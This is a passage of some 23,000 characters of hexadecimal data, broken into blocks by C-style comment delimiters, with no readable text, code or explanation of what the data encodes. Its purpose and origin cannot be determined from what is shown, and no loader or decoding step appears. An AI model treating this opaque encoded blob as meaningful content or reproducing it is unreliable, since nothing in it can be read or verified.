08801a94209a0f4d0dbd53d5a849170f8d8094b8074d58f40e519075314f82c7dfae64cf0c512964d3915db512ced2035c525365ab660f0807350eba0b945487f34f1017f64ae3e3b6ad180d7b38c5677ba2821caeab3b22a6f547d4f787be3fb975541d8881762b077027f9a525757212cadc9f0f7ed9c4987204ffdb7931e5333bbbc8a2808d41a87dcfd417b6b306688107cc86b356283*/
/*6fa183eccb818d914b1accb8454c3572f767d270d0a70644457fa62877b839f70f9403a6afedf3790062ce742969fd19b8c8e5d73bd43cda91c219d99f5d15e5a5bdcf31a73611294612ec60a476c11a219fb1ac4f0e8c39897df8d1d10263f7e06c6b7f5ff22656cde9b5f679b871d1f5079173ab5ec138e4f90d0c14c2e18a1ef239dcecad10d66498aaf91d1d50897c187e959751d7fff5ce356389fe714d6f717a6647d750b98466ddbfc1450b99dc6e7fd9528868f5c25d7f2f1318f717d20be49f928f2843d164491321ad5bd9fb2b5da69a09b0f704647381730d20a4f730c89e4d7e7eb2280adb39452a94b2c433b6e7102cd4c60ee156cacdadded83be7135c874f4b9637441d7e8a9d05083580aecd21bc602a4e26e0dc594ef0cccb5a529dc41dfe010d76ba8571c064d3e35f35937c02081486952b5988a7057a9e43ad8ea84785e21c861af897356a7e8bb3c7cfaf18c14485d5c7c30c192ddd69c6ed78df0bf01b1ac8540d854644e2d8f3e1d022b289b629cc306eec2e288c51f34a93cc6ac8d7cad6e5338e966054f811738aac51aea75c1477512502bb18584329a921b17e90c949c9647c7c08ebd6eafc70904fc9c3bb19b4f826c3bd0accc60ce1faa08550bcecb2b85a4a15036478411ba3028b46971409004dd91cf05f43d28600ef4e2cd1bb3eda1a1d898f47ee75e88510ef3aba1abdcb583ff4576b6de01aba194482d43d1a39b986f490105b5946bc566c15708fc3e2b70040c8acc856b2eb5f6de1ecdb6529523ce4ec4b43942b7c895dca339ddffa30f20eaee57a64117ac7d1780e26c6a96f91929e19cc261ca4393c05ee3766a9c8e6a919743fa6dd0e216ffe9a4bebe6f262cb66b770f39e2d3e8b34a2f8af22efa36400c73a83ce65341a2f5c6150e746d1cc2a626007e2e8a2516c1e8907b545e26918f99f1d841118148e20b8f01847d7b0e93a4ba4dad4bcaed50854ac6a1acbce9fff1fad7b8f61eb16ea9a3d07cb9989dde2b2d7583c8683210c9fef45b6c403b737623208236751239a7007fdda06bd3af628de229529f91d7aaddec5d88a3ae491256275c32842617a57fd395129c8e5b0e49e1d005c64fb8f75c941c7a788fabd8f2e29563a913ab42eb584db403690180f89f0e551a4ed0b2d2395b9de27732ba5b86ffb66da27d29bb1e0272f125e1cdbb849f3e7e2c0582557358f729a2b8ce6bbe7a75033d4bfae26876dce04b50acaaba7c3ac99fcf67b19af1ac99f8f33b0835a39f58fb41e90a6c8cea839e4287e4465f2b3928e8fe3bc91c57f89547e4834a4d70ea1430fdadbdc1a0922a77609454c71b2b0249ef99be0c47a8b108111d7de694cf71ee17a9e1a8a657ea904f0209f4a79f97e07cd5d6870b52bca3ae6d35bf9d63c04c7926de0f1a60384eaa6dd989a67ad082f9252d437621e47b84b938699d07b02ef5ac77f135b72ac6d76e9e65e867b89262fa46e7a9fa962b56de87f56fb7a2bc415b7251de41dee139f3809fa2fce4097dbfc4b34f61726676eb7a327a9cb61a5bf4d9f7d5014c4094af12e7b8178e6329997d6b3df73664b1aa6469fb9b1d11d232e671fcfefd32e9f7dc4d7dff2b2ba2fdc1e380f9cbf1c2f9d52f3054a7ff0a70fa83cce30dfbd6e15b126b80f7c5fffe955da41ccfe8bdcfc72ec7ce924654716df76c42495f068b00b4a76bc68c91011bee83d99849d601df4570506aac7a3e7c2e989ae4ce02e8a86e8d148853f33a382ac7a8892018b9e6c8ee43c419f4ee386db32b61a30104d7367a64ba6b9c39fbfe04f2046b778121503570f2d48679ed4523be7ea7ac1d487a350820f336a5239eb67eb7309bb08b1e55df8385df7e0f58bd9ecabcf53ef93c6c71b5673e817c49073b81ad4d13f2f261544e49176be27ddeeddd60837cc8c699142f81dbdf0722e071e85011640fbb5cd7af0430fafe01e90a3ff1d07de4caa6f7d5ff2115e1a04b6342a6117e8c598088c43feebea4a28224fd9096cda270ee12e57b1c54ad813bc085e354a0cb43f92bbdae354b48e8704353de337f71bea91b6f826c90a5e22f6027788ae117395e125a5daea290531e23ae55a158656b31c53078de3c5eb8fc5ebbcfeb92b4388c657f74d49fa988b46b5390bc0f9677053ae2e8086294d4908c8116236c884b4de9222115fbadc0b38d3c560a4d96238f7acb240dae757ccc8cf61935e04a62cb654d68cccf1b4ae56be3fe0620d4541da7d3e1303fbbaad3528d97ad0541cac08e8415ffc9b8ceec8ee84d4e92bd4775d11a61e389f397189aa2f5000f3cce61dfbe7f4c79b9a7bf817d0bb42d4b6c1d525f8255aaf9a9091d24e55dac6a8bb415cd1adaac9b70181bc23957f61bc504e417b4c05b008b086318fe85da6dd787c46f1ce9bb8e8c7f6cd94bde1f595bdf0acc59feea09ef320524721ffdde528cb5930f93e8c63bb2d7babd9b1d745b32e5a3314b5015b5eb3bbedd04934d0ead4c4c7980d84abf397dd587927ff6ec6512a14d1ad1def7cbd40a71e2ab45847c4ec25ab4b014d173953199c8149ee6a9f7f582a6bf81b4c32fbc5d7c11af8509e82c628727957dd2930be3edbe2eac48bd387fa31473fc0f275bcb25208fb071168cfd40eabab801b28eac7814d824aef829d2442ef84bf1d3737405397537f39b7372fc6a973e0a7a01a1477d9bf3d5bd98928368bc45841111c122442f1300078521ec24e943aa3dc4e13a79404d8fae16fa2269074e06242de6809bcc9a8b976d78757e7700612a41709485278ad3c3cee5b6ae25a17ee13dd4cbb529c741c045b3760e4c68faafeff*/
/*f6333670ddd632a6c00f13a55f0db826d2215e95b91528ae6e39836a332b648c268cd115f9948c6090e2c9917bd4fea7cf75ca51be91ff8353c716fa637c163043130c54c0268f8656e18219a57f3226bc01d39a3afe7740b7271e4a28358da808f87dc74b4faf7f51b418a222baa3bef75ee1e45451396be96234e423302ee95a9b043403938ac0834672e7040f9af8f036028f33e2d1953e8c93dd4f7a69a3f5d58965194472dba06cd2e2c597ae957ecd02e8adcb47ee53d28c73cdc783fa629bfed76c8a14ec19f71c2bd78c2c8c8c045a6bd1d522e0a2f3dace62cd062179fb6d788e9ce8b5f7433653c05e29960b1617e07ffcb06041fb3fe4efe3e38c27eb55d8cf4a54fad053f6291fc5409aeef7ddfe8d2035a860f9659532380571ec9428416922e7a3065e0f56d7cbdb4393b0dcdd16d343b88bf16aaad1f9b9cff5b802ea6bbbfeeb65bbbfaea73264566ca016ab875b5ac85431e8fee67abdf0db92b5bb22d085fd0774a494457a70f6619bfff6903b356421c2d848a5387370793c43ab0d8469398b129ebebd48f434b06abd724489358faba5ed1c2cdba6a4a505802d6b498f9c48a82a572856e8af07df28d44e1c252fc89327c5f33abfa480d7767c59e3fa13ed4296bccb533bfd660b57f634908b234e46dcfd70c9550d18589b826e50b402528d660a10f5abad338f9ef038d3a3c153d85680f3b7490fee8afd751c85af581504a0fa28fcddade6ba6e1a23f7b15147aaa4714ddd32fdb43eb2d971edc529c9b6ae71a188b03d77937abf91cb2f2360d11856144c5dc9fa69030287caf6729106235c6a3e5deb46f7947c900012f9c6d722cb32f9490abe544d353f8e882b58ddeb75321f05b90017ac41c4c2da363daa46f541de5d7e59b46f66d72bbfc0cc42c4d7de3d97335a7f7dcd9bd0f0e6cabb854e21766d0ed592b9458a680bcb37479418b1dab86d832be23395101ae93b886d88f72f390938ea5793a8441d57d28ac9ab600e034e0923a69b5bcef6d0db5d935f9b4c1357e3c3a61bbba3eb43b553646123d2385045c483cd203451cf854858303652577ed4c5ea959534be772c6bfd320c141dda16b623a8a6520c5368dab30c8c3ff8e72d79d4bdd2d57ae4717978a255da3aa6db97ad66c0f073144e104a0643c2a76aef758ed9f4f8d98b1e922202b4eaf6eb01370a8645f9f9a1dc9dd94867da4c5b36d4db967fd87b8062c555859d47f0d3e6c7aa4a97c5a9469616897d8f0a568db6607f864a98149e3b7ae8b0e5b933fc19493e3657e708775782fff34598eb12d8a79c4b781c0333438a9c118907a20e69c443333fa795ac6e93430c0ca412b73a8508fd692c78b9a431a49601941cdd8ba3a1e188f9821659274a6c2dbad85edc3bbb4c45b95d5f20b318a73ea1557751b24c9cc52b378b3329c64eb98530522f7d47b64588f4f7d6dfd1145d6c343ab43111370c58f4f3fea9c540c9f4d93928f218499181117cee55a58da164c64fe617277b0d91fe2c61a2ccccee4506ec83b646f3779c790ac2a93d4dc68ff7d4e40ee8bb696370846e96dcaae333faf5e720ac376f5a32f8ec195249d8d6987af7cfd3de2b5988e809aa43d8db04df823a3382f601e5b6799fa2c7adf2bd2d068d91c853c0bd6f8d4cd09f4e861d57e81188d0fe66679794ebbb7b7737410eb6313227b4e8e85709c7d962165cff816ceef646439c6589d30e0b34d5c77ed674a713dfa414b0c6cccc230ed35f93f7a7c7c45afeb4518018ab7f7f0353bd736a370943aa0f6b81e781d1cc8281d1e92634f179a47ae48bc0643601f9ccf55dbd0e032999134603de263f18e4dd7d1117571ed04e01d413019a518a5053a1c717683a470a01fa5673d822420d93d47fc2e23642f1070a94c78e6b676b6d9688189c57a86160c4e1491f53c3c253da415d43fcb2f28b40b1252b517dbaa1a1c5dbf4cdd39ab6b4a62aa78def02296946a06640144d9fb92939273f287bd0feb2c7bff53d28f6c07f9c4b4ca41faa4862a946f832d00ab95b08cff0193447e0ee2f97ff289e1d87a1aea60411e05e7f54b34b05905cfd705c430353c51502091fae432b65135261d9fb400916a9a0bf97f3cea0aa77ac8681f06d7821ef4507a6c2960374ec179d99eda765159315b262de3ef37617264f3bb8effe35d6239b240a7d2e6046fcd7fbee5d4772e389e55404d0d34def71abda8c800ff435ad258eead27fc69465d716e389e3e29150010a471b19acf539b41d638596ae20c2bd286232211c977c0c4719d34b31a6346cf224bbe78a947ce66f860f153fc4a4a73c8c5ee2ebd2d16c5ae0ee405290da6d18d50b80d000f46b35e8e06419ed8116bcb9f40fd7966fa72fe3e3118a803446382be2020b30a9ec9d61070a4c507142691820fa4c98e8d671189e546a1793f97df778a28daecdc21503494516424f79346c4c7374702433ea9430fd348a291432e74dca6a9a92096d37b038aa163dd83a0d3eee972f752f9e622bea52812aa871463beee4e53934f61e2bac8c96eb9b7f8dc0e4b2483ab2586058bc08d141c952fad2b525aa47a35c6085e7e7d29db2216a8fa7ce91f5236f70e5d0638df4713f607cd0e1bfa21839fee3611f56c21a9d7b148a9e30bb5c5e74d75a9f061c15a5edbd41d9877248cfe6d2ff75d7955a70143603bbb6b60da03e5b547ac48ed3a1062a9bfabc69ad3e702004b43928d933015a3b26f5a198c1bbce72e7798c7bcb03a402b7db77e5c00d493b25bac1c34fe352166ee32111718e352f03deb35498563d16ba237e76d330be5b7cbc99fce65a*/
/*cb8388b81b634ba1cb7a14b7bc74f149d5e1a7d0dcf5d5e562db54922e673679a1b3e9c6ece6a7c5defac0c32f8e3e7e39ccaec7db279a8de65d2fcdf8f19b8f237918f873edda92eb7ceee08cf1dd77a65e3d63a8d7cb61c12b959790032daf627637496391ac8fd724d7582e24249447a89d520a70e2a41246a06f4661c457f06e94de6e90f7f18d3a3ebc45110e91a8e3c32c65c3df84e6e83b384873232db28f37200d9535a7e817b9a6a1bf6085a3c96937e74700350555bce8f23fec12cfde5aeb4f9a5bd173e992d5dd56ad772f39802dd0f3ba50b11e7e818713fdb6bcaec28d9a3cc870cfd326310e1dde3c0a1e6861b9a461e456cb6e3aa4b6b801d72735e9bad530ac9c221c9c86d4ce6383b40b9e023beb9bccda38af54439d68b87ccb3c591df1d61d5dbff9cf2a7e472bc1d1b1bc781d88028cca2f3ab53d75a54dcf90c23bbaac140d38a7f6f00831927f511cf8262a8bffdeb65996ef1b60f41df2fcbea6d6597e8d9f0867d669ca5e6b52dc10b0d046dc0ecfccbc79dbd0073e099b93684c3ddab811f2ba921c5ca90a7b7cd4994bf87f086edd9674bdbc4ee9cd6b2b67eaf7fef6f2fa118bfd150dacfa60664c89bf32566a6c6b97bb2cf4c0003640196b693efdaf88c64d39b672ae0750d9f4e42582bc375173e9da65402c9f3d30a6af454a4a5ecd64750ad31635dc2c78aa98125122d5a1eb4ef05906bdc53bb5bc3fd8ae6ba2001e93b6be310475b5f8bd7140fe74fbb9dd7e8fe12d6d87624322816853b6cff0008ddb6200ae0b9ccc02ec8cb819313f58b004b008074b4f03ec54f0128bd24a88bffe0e155ee794786f2adc6541cb669a4d3e0ddf50a589fe75ed21149f6444b11c2bdd6f3a6ea4c7e95f1d102396c41053a201bb155965b12cf539df8315b167df5b0c31a039b0ef73a741f6614b229715d90daf46b9541d3bfd3afd03a3ea2a01b050123daf9e1dd442294cd1085654f4f8413f327e02e77b54bb241e023adcded57659ac93eaea7de5ef58bcf6043b1d2f543d847fd6daee47608b4f8d75213b0061f29da12b01215ea67320e6b3295273167f3ec91cfcd1f3b362aeffdbb0bf795ede114fa1d9f5f31b1a360e517a636e7cef71f63b28599fc99d49c2459fd94eff29d877c24efa01872fba58cf51d5dd305507e9ea2bc36e631bc5ecba2a90b0405b14ff746ff556d5c42673664296f824530e2981a511cef1265f89309957df415b72b630b3c9cfde8762efafb4aef3a36a35de7a8febbb4c3e715adeeea0277f6ca09dc1f0f1cb75e67b2e23a675e71dfde54bd8a0e5dd3c7922a29a806cdc0aa7d6c5f4ab96d6637ea6c121161ce0901d23a7812af396dfc18454907196fb0e8f3e7f7903b5e5d2c46449240799ab2699a83f328a2a62c244a8cdd6541e20271584745393611ca9d84da303c95f101b0a60494310b37434782c4904ef07443128be9732d6ce1fd3b6066f6aff57fc2add6078b21fa48e08d029173e32b403be16f525d536de27ac9e667bc2f223ac5a2a282fc00b2a08ded2ac3d17283d381b16f27c310bd7f091aaf69842c90ddb6a99d7df836bded7be0c7ab1e64eaf69d4095154a5a1bdeaa91296da8c3c9233410b2475675ccb1d3c37d53cc5ade022d44931087b9e65aa32858e4c61b19ef05a3d51f01902a5c645e2756e26aa898008313328379e9c66794fad79e7f055a62307457541d7f294d0cd927fe474a17818fba07486abeae8b648d6f44a64e47ce741efe87e5f33f729e1f5266ed1e3fb26d2fbcd483c8d6ad4c4e4982e6f3ba026bb3cf1d751b1b19cf3b273149ed787f89c488a4c9405330bd311d27915dc06c4e6c46210667a4e50c2081bd38b3a198c90e7fbcdee4af1e613bac2a114c745fea66f7b57ff3bc0e63969d08aa310d0105b8cd69cc0f6d6e458b560bdf0ada85ed0389929037b9bd197e1569d82caf4a19b7a9db040de3e7d7ac5bb693e54af60e9a45158869af3f4a7110dac4ff320df3be6fa8ecac0f95cbf14344d38e5355d30500e277f05d515c61e5c3ecae175abc0ae215c7107c1db8dfa5fcacf1d48efc5098186de6669726082502263eed7b0930f490379199827ff49ddfedb93a8ea46e82e62d32b3033e88fb8ae3d902361b58e7048706bf7126df04d163461759850362d9d8a21f7fe3bea43d90c73390b7e3bb49e4615be8eb909469ce39762b9af3f2053c1ec215918a1694dd76e6181008ee26cacb3b325ff0e21bcd1e5844e875fa92ab320da19d0dac465ff13a9cc6bea8e78bfdfd55690ece573ae91133804d55a98a91d4597c8e6fb946524b26a478d16b841a05a1014e7ef906432d90c8b71cde1bf3997d579bc0efce646531dd4870b707181cf3b2df759dd246b533d3aa7663caae79534bba9f62d73c18ce55e0e63b3cf2379c3dcc0ecad1585e5b606c853244f4c58bc798a3f132600c6de827e6d16bc13839624f1c8ff6e2276ee4a8102e8d27098f2b5f38de7d12bd431b724be46b16d2f4f9bbcd7bc99506c03430c6a7886790e6000ed4941b01803266f200c0e7520c2f93c70297fc610d58eeee746cdb9e7b0635ad279c42b80ce05347fc438f865b094a7170f8a46b854d4b60aef89a4470a810b37dc46e016e02a674d4c7a3d0290a64522534ee3e33ac3938950a01c8f968fd20e316e81821a230d1e73dc5cc6a515ec19cd288e44c801071010d9975680c04ef07565dff9f9835a1b6319c282842b6fb5328b4c9ad143c5a514d464226e7236e5ed08c251e6be57bd2bc94e99f05c7d4d468774714bc32f21e2b125432f748c1f1ae83cbd64e3*/
/*437f3426114de3cb1f69eed7049aa36d600a247edef9094b9da3a4ecd586f607aa40ceb7c3607492ca550604e8cb4434f599970e974152d27d031fe439e8dcc99b49465dac34b5236a69a73dd8f432d23e33e60c9c4ce0e15023bc9a6e77ce0b02ab9b30240feea314983ff2f7712617a045e101c8754692c9d0aeac7ed491ab7cfe6378c276897d8dce90ec1738cab527c22aa60e47567e80dfe08587e536b770115f0988a484896395d1518e9785e74ed8b40443205382168289d6e03f5784ff0a04ec028ce942ed296874ad6dfab7e492c1b3d86e43cfde34bde6e11e273d16651880863a33085397143493569397b2ef9e24c2e5cdcd33e1df0422d60019876f729135e3b18f39c43728e3b51383e95d934f2bfbddf9c110e34af782ad670a7edaac79a3ab5f20911789121821f15acbee90496c6689e0fc55dc92c4576d7a3c31133f8747e10fbd2e0f35ed88ac32f8ff8a3fd87111bb8dc89f972f1087c8049eabad0106b58aa40e88c4fdb5c1157ee48c4391c90da9cd546c33a9cce5a4f4ef3d36ad20eb27d24ec6b350ab8cf2d7c217af02e40e6ee9f377c384c2c685b045418ed54f94be5f120bf600e0ae6751232eeaef7a1d6a78e7a9cf5c3ac02d03af1a697cb5037e8dd3122ef4ee5776cfe9a74303f79984e3ece45f3aeb4423756d11b1d20f224ba72edfa181a7f7b8f36a72641d94e85790d12de506ce356e210ba0490d10713408c5575bad92f6ef9e191d86bf4e17d5c5b7f6dd238be0c970e49ff854f6466ffbfc27597fab307a3bf3455cc3f413fa48e5a836c6cb30dd0be483860933c424a09817754bda001ea969be12707156f85d914fbb5edb120120d3a979ff3a03b4b21e85e8bb16e946f9687b86236c095285b1956da216755d3c35041fbedf8d32f6ff3922aaa2257edba7d736243aa8e0fddda93362f1a6879c9f1e08d7395d7e45793e8730f5fb7e7eb86f436298d2d58953bde4a38a751d15f19c8a54cd4ab550f35cb7826574e465b5333149539a123ea377b4c38e1bd10e1dfe7b76889db35e344b5f6efd1397b1b437f6e8875b022efe7b5e659e8db768ea51352a24070173a43a46cdcae1360e28945de7d05e1be2b09af5a214386c4656cff461651e653f719bfc2f8805671efab056cde778636355ea7c4908a9a83659cdc22c5889a24ace883106ef3ff78ce92e3500b5fdb84ed8af08d3d970b27a113f7cfd3637e9f7fe07fdacb7f1d3117d60c806404cc35b85c0d61943234e35c83be8fae37673f7d9099b38318d3395e800f89f148fee99c02ddc3f54e0a391a151e50721edff93f4085158cf33720e422207d55f0db50edd672bed38311edbb502b65a055cbc60fd7345a9524bc15cf109f5032623921cb03ca80ff33bb0be66ee42e1485ed74916e2728a177cdde77cec655957e361102fb51725ebbf7a99ea65e893d501b64a6bfb8a43ae36b95e4d7349d569cdd4d6e6ec0592a6e7f0c68002baf9221793a5286c5ce11df48fe224ba1d5bd7d4839bf66c5644acdb4fcd2e12b5bc1abbfac8171a3c46943a3749a5aa3651150629925a7faec9d0e0b993d759834ec9a204438c2cf7c9c8e6b13a0032982f0fecd977f830c99c2657bbdfa96bb42882cd26240dc3aaa89f0959468123129535d4ae7818b3c3d9c4001ef3963886d9632916090d60571e7baf1a6116c04b32a7c239e6e41b2802b83ae41ea66d4779321e1d3e8dbff5a6a5b55bfe00016240087c9f3e276cd9901d1a82f206eb255974f7820485523cce16360904e840680029d109fe479336c27e12efe8a31d907c92b1188d3e8ad7f233074b45a19839fc386e65d5ab09d36c7cb45be62c2d1a6ea5f8556564f741d2aa4e9acba337ce895c1501bffe96454752eada8a8641c3d66019d66b17dd195af494d5548b848ad0fc3e67064c2e2180abdba0f9dcc3c2585f91c9c7545848d6ea879b77e6b54234188820b0a7e2c2c0120ed3df56789f7ff96ab52264d571f9ba077415e3d2b3dba83b1fba6d1260544ab6ac0b093a8795ae98fc065772e2743acf427b64db5d3d4f5e0e8c9d09ff235b3f4d70273122122d18c66f7aed2553a53f2b86f02fafb93a5ee96d99113eef81de120c50f752cf667e13cf8a89a769096176d1567eaf0032c876bf346ced0e14eb1734f772ae4935aaaba1bac67925f3f6d63065065e78566162abe99329508bb729ad2d77c7e9af7369f00a5d1a71a0b92e328a909aed96676c9db8dc5467952a74c06db582bc6113a4d5f2b0eb838a95666ccd85837c4bda82013d6d2784c947ff039643d31145bb68d456afb3c530869b5e4111ba7d044a797bdf8f79ad9418870a859734b8baeb2beab9c7ed9106be9280ecef72ed78b79f79f6771dcf9055e12b6810c3c7743e3e8e0216f20c57ec6263f6d37571dbfc37d50f8d82108f5a4d73aa5aacb1b30a8efb0dd6f4905c5eefd92d127acf07a9c7618d1d247c86dca49e184a7d06d3d3093339d8faa0fe1636c01b29d4051f36da54c6db774318782c01754fc8c9bf0fe8f0c3097d518907eaff8ddac3741f55bba6eaae455a6e5854170a46b5a4295cc2a04513304500a8a9575448c7f3a8e2d7a84a2a803137078321f919a5f2171025199190baef9351f8b7080d983284198d8c7bba7734a719bd2f33a7d03512a283793268889dd76b47bbf7871e78662361330e97c63d3e8a84519e559a6136a83a55d7eb686d60cc45053fb6b6d219625c4bbfcf435cee34d489d92202f53812aec6ebd8a61592c0077d98716448644294bf2ca92ae6cbaa8dce7a6607e3fee78013de0e1c76d629*/
/*f420598b92ff29b2bc6c8f79ea6bdd7378475fa527b7880a8ef7903c54692550772c275366a7266e702e2d199f966aee6468a979a42bc30a810e334c93e3e0bd9fe0f2c4e7850fadd1ef7969b297310ec68ef59c1a23fc2760d69d7881a908a81b11b4533f841509dc4069d1df1a01485048a500a9005c77dbbe9d59ff1a197ad52d2a7260b3659ff2b0a468f5e6b30b5f857cfa4db6d61d5166bfc672540858781e0e3246ae9b09ca2b9de40b3c20d41c9bb6a703f4e1cf57f2d66b321bc36cb10b476766cb2a9a0a89c276ccdc0a60a7718e2ff67aad17146958c9af42d129add4ff694610f02230f9d7b1b009aabcb161673d93fed09569848d09ed493088fb6a242a67f084f256e954fb456bb9f322cdfab4c46fd84d3077dc692a43dfb8943e3280987c274ffd7c71c5664fa89b511db862708ae8b82247090dbb43fe044c056ac49bea0f9a757c4344df2c1907976d25916aa2e6c2dc6acd6a05f9026994d2233fa4d2dcd9487750ebd93706b46d390268c7d3df735325204cac4e0bce69d1fc721ef4e92ad87078c3e0089f225a3728e1f3018ede1078c91fb8e40c058bd465adc7c1d8044e4da09c176cd59125fabe2489480911350baeda2ab30a395a3d4ed92a962f02f9cd759f116795dd8ddd494574a12e156c69e8fef823500a89822d3ce4e967587aa32aa5902b0b817910b6f41a219061e110a8f738713fa79d314e32d7f09696025549d790e79ee84762f47df044a57f6aa1b4327f5e0f0737c2b08dec91d820dd23fab67e5f59cf8d91bb36fa9ff11e0b7861aa5b2e72709f9f4dab3d500984af83b30577f13946dd563772d43742965bdf13efd0b1533b8677cfdffb73d7131722b105e85567019b6c4ae0e18fd0df05040cbd158a4efcd3fc8066aa36b272daf53f873bce32f08a538f84ee5db9447e305fe2a522115d3df6dc33b94b50ddb256ad9c4d45675ae0e2f6e4ae832592329f8d69207ab32c728f06e9247488523a5583096f7c7463c81cf4f10c6d5af2a6235fc58ae4ebb1f296bb81410168b88d30363ebe26423eafe5d8e69a4257cd065e09fa072e6b617af30e588965304d16d96b966663e86e1cfe3513b2e7452b5519ee1283dfa0735b27dcda35f228b459c80f5c0b962acba3255e2a1155a3a4cffd4597956c071a7a4a7be3ed8e55f0da9815c959a1dc5051b4ffbc4737f0c0336e412450b54b0fa4ab076c8fdd732d8eb52182cb1ad09e24afd2bed37ebaf335f4b5b4f458980730effb5b1fe6a7c318537d37258084a8ada7c2a7536928abb3d41add2ffaf6b4fbcd4f1e3a0b3810a9b6f8c56d42a0babbb75b5aa87758763ddea9b3bf3b79460a7f87691d8fb4ee007650688dd934a4896353dd24f4af34cb90fbb476cf6fa84e6545756a15139e16141db783ef11722d9af23408bac7c7b80a0f3d309f40c4c6ca9f5c54feac33f6314abaab2b7c64e8d88be872cb2115610593670c106927e5a0c13095138d76524b2374c180854d0a33b51d928dcc5a8409253463e3f05cc58432412723b25d372d11aabb077f08e4c1afe63f61b4450e84b6e5375c41e273bc23ac11a6f0367c64cae14476e98e596f5ed7da94ea164e7c37b490d67320c1503f5f633b077c565bd85c35cd4368a32d8958d236535cb4a2b0a99ae0406ad456ba99a1688e421e3ee9a51c07aadc1e195be594f1c6fbb7448df08d569e3aeca6134908ee8a5a7ee9ccfe6494d5c0607a16222a6c7f786edb0ffbb45673e0e1e05b46c928bc41cca044fb5ec0bcc914c29c76e284a0f9ab2221847db5ba957a33670cbf10cc9799e1a418d9aa950ad307a425e5da0c720703e9639c655f06d3c3c821b9f54f592887a7f9b49bdbf323524a45363c7e0abe5bb6dbdaa14b26c1a9ea6d801011667f546ce4be9d42cac0027ab9839d9bef873c5ed4e65591fd4596d0bf83fd76c5613bf18fd29a95077d0ebf5cb439cc1f062f6c28bbf6d86f1c449d81fb9ae2a7368b24444f85278bba548c927685739cff17192e658b93f7035db554ce58bc9123261174b5a7f165b2541704514b3c02d26d8c0ab853a575a011273723eb74d305aa0d93bd09beba1eed13f0e04c458970dd8421fd3773efcc923256a1375857b37f72a88c94acf3b06d7fa8ca9951ef63c2d9b4e4a4061fb03d524be6e3c29e36630b5c621889b977ebfd2729b8d83361b2f1219cb761903cdd434073d6c4e3b3da72a67b25bfc9d8d6e9daeeb55a6c1e9cf99b35b14720813f5a021e8c0c75bb3219b71356bff1e58f9451ceb51962ad69e7ee14dbe27edbd1ff0238323709a1e6a0a0294adf49b78be543c5b4fc2e835c0b834635d8fa9d63f0874af8a1160573d77b817799b2ea75181a79ed680ab479980e8b81b07548f7e1afd1c953ef30fd828ec5417c6066f2c7ae2770a557bbb46948de7beaac7ea5515dc29041c10c3cc0ba4215418974c360d205c30562796ca4f8e1f00e3e5e2ac862debd70fac00c54eefe2780e00cf87c0b5db512a4f85305dfcece90d47dd43590b7bb6af5a84e22f71de3e887e8eba859483c3030fe5ef5919b4c47391711d4fe6f32eb3d4cdbc111e51538387a247b1a5e8ea5a121b83e2c2bfabff1ee3c77eaa4c3e509bb33e2b718f56f63f30b5f1b1eedd523e9fefac3f71ad68c6ed8df5ecb6932b7ddaa3d2eff34ca1b567620e07fddde0018867912a09bf3615ac8540efb57dcf94467f30d2031009dd289f0c4456efdefb1bc4263a2fee3b05f1a8dc61608bada31f325052420bbe550322ecc8c69b41aa4a3801acc96ed00f727095bf274a0f5450352d3ea94e853*/
/*69cfbef554f634430a9cc3c27ce8c802e0891c11fa627120eacde1bb7df79c79604ac359407b4c64818560a97c36559db31775d16b6688d87f1c2561ac1ca14e455ef926bfa120fc0b53bfa5cac1d0ad7358ad7cd2035f451118ff576edd632341e4e4d76c557c9ad013e0984fe4167d9be93073c7bf55350f81832589b296f077b3daea21750e5225b59630d3409be1f342be598c4a573ff31641fe49b16093739b33936b1c34a90b437be65396053870e3b90412102e2ee1cd9602e1e155232a8777c7f14ebe65029aac94bf267889cf39b3885795ac092973bf3827e07a75bf28844abf994256d2dc2e78591b669567c6977a616a6f2e0f5dc11f417229e987b2e95ae9a201ff07088beb912eb83f5f2740ca8f0beb820d11c0699e796fed843b67c886f47d5928cef29376f4af2b503f17f5a932b641ddd5bc1d8e82a1d2679e3b84d80cb9f25d41d7b38f70a2a54dee5121c2ac3dfe5cf8a6982339c7970634ab8f44fa87265f729c9b16a4b8b97e91995fcb40ff47d84115f1c0bc970951713486ad831d43b3fb267e6d8f1e8368c6de3f6863af775dbd4b6b72d61f06533a75bf5baa952fba099e0153166d998c691f23d2865c17143e2b7156ff44195e2f6b708756181cbebcaf3d07cb51d76f89a1e6ad97935852a6bde6572c8cd41b367ac684705ce2b568b88ac095086c5e1df48541f66393d5f4acdc6582478e95651afdc7664a3f77fdec44eca2828bb27e662d97c6d3d38f3562f7604a7263985d1f6c891a60294e835f0769cebcb7d8ac88439f83c14946b3e3f0990de61e59b91fa4d926a18676a5b26cb1c77a3cc51f788be37b4af10447d1f14b9bb461443f78431733b5e9f695ed31e21e99520123a0592b4d62db663c30e42ac422f9a67de9961de0bde0ed74993431d230e7d1fedc22a4db603aaae4f326923abbac1b696a8f4e3251652ae616a0b0d63be4c51c762c3df6bbf4f14a67fbc83a95902c9a9213bac22735feb6e86d7b58230ecda84b9d5193dd2456caef6d8e8893de2baaf44c63b91b22b98ca86a8dcea9d867e9186331b6ee6b84f12d3e27b72632646b50051aa6685be65008c5c21c7fe3affa45fbb31562fbb3f5eaba81f781d11c26594768628eaf5993c5381d813636a9b52abb33edcbf503baf9c4191fbefe754d2928400654c1a3cdfcd0e8a021b95243e5318b8e148a50c64ab36c00eebe7e9dc7003ee7cd42116854fa73240589b6661f4071080f914f436885b2c9aaed3dbac6a4cef1764132e618d9e6e2ad5b40420f6af475e2f281d52d5fdd9fbbbee35ab82cca98f87aa5d8f71c571ec7223484f625fcd9ed0950369593b5290e47fe34f59bf9f5e273d303231c1cacf2a15585e834f28307e600dad0ddb453f6cd1eebd0e684bd63d9b4b0cdc7dee208f1b397257010b76983fe11c17c5715f6b66eb69c48920a9f99de0db58b74641bed7bb55097cb61adbb77128752ba886effa8b9c2fe16ff9af1304112a09768b37ed8a53541c0ec1f493b5a72371400cb53316e6bdeb01a56dca1c01e13140eecea143e315a5d1b5ce7eb3f6b6565e60c330d2a61d6bf5fed0bbb9cc0be29de54790bf0c545fd45eb958082dc48923d1d8f68a7368862b6a87173a124b2aba6e69c009ca28435c4dfe792128cf91ff93a10699e4ba7f89dd0815459dc6b957162782ad0f6f93e780ec3e9279914a731d8778beb4b457b68e84d29e16cd4bb5395c014bc862bee74db72ba6c9913a156364d39463304358868dc03d8118c641634942a01f740c3f385de2ef34f2c0b000dcf41616a7a3a325b2a9d8071818eb969e7009782f28c1d32d5f7de64176f41456060f39f613cd4d5c82364fd0656ef101302868db436f14e2128443aa8c071f7367e4b3783422d60eb48586a4246a59158b9213